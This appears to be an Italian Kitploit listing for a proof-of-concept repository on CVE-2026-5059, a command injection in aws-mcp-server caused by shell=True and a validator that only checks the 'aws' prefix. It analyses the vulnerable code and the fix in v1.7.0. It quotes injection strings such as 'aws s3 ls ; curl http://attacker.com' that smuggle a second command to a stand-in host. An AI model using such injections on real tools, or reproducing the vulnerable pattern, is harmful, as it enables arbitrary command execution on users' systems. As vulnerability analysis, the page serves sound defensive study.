Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/venom203020/cve-2026-5059-poc
Analisi StaticaAnalisi delle VulnerabilitàAnalisi del CodiceExploitSicurezza Web
GitHubvenom203020/cve-2026-5059-poc

CVE-2026-5059-poc

Proof-of-concept che dimostra l'iniezione di comandi in aws-mcp-server tramite shell=True, con analisi del codice vulnerabile e della correzione nella v1.7.0.

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
4 mesi faNon ancora revisionato
Condividi

Dove si trova CVE-2026-5059 nel codice? La vulnerabilità è in due file che lavorano insieme:

File 1: tools.py — La causa principale La vecchia versione usava shell=True in execute_piped_command(): python# CODICE VECCHIO VULNERABILE process = subprocess.run( command, # ← stringa grezza passata alla shell shell=True, # ← QUESTO è il problema ... ) Con shell=True, la shell del sistema operativo interpreta l'intera stringa inclusi ;, &&, ||, backtick — quindi qualsiasi cosa dopo ; viene eseguita come comando separato.

File 2: security.py — La protezione incompleta Il validatore controllava solo che il comando iniziasse con aws: python# CODICE VECCHIO VULNERABILE def validate_pipe_command(command: str): if not command.strip().startswith("aws"): raise ValueError("Must start with aws") # ← si ferma qui, nessun controllo su cosa c'è dopo la pipe Quindi aws s3 ls ; curl http://attacker.com superava la validazione — inizia con aws — poi shell=True eseguiva entrambe le parti.

Perché la versione attuale (v1.7.0) è diversa Guardando il codice attuale, entrambi i problemi sono spariti: python# CODICE ATTUALE in cli_executor.py cmd_parts = shlex.split(command) # divide in una lista subprocess.run(cmd_parts, shell=False) # basato su lista, nessuna interpretazione della shell E security.py è stato eliminato del tutto — sostituito dalla sandbox del sistema operativo (Landlock/bwrap/Seatbelt). Il ; ora è innocuo: "aws s3 ls ; curl http://evil.com" → shlex.split → ['aws', 's3', 'ls', ';', 'curl', 'http://evil.com'] → subprocess riceve ';' come argomento letterale per aws → la CLI AWS lo ignora, nessun secondo comando viene eseguito

Riepilogo in una riga Versione vulnerabileVersione attuale v1.7.0Esecuzioneshell=True + stringashell=False + listaValidazioneinizia con "aws" soloSandbox a livello di sistema operativo; gestioneEseguito dalla shellTrattato come testo letterale La CVE è stata registrata contro la vecchia versione. ZDI l'ha pubblicata come 0-day perché il vendor ha rifiutato il report — ma l'architettura si era già allontanata da shell=True prima che la CVE fosse pubblicata.

Scarica lo strumento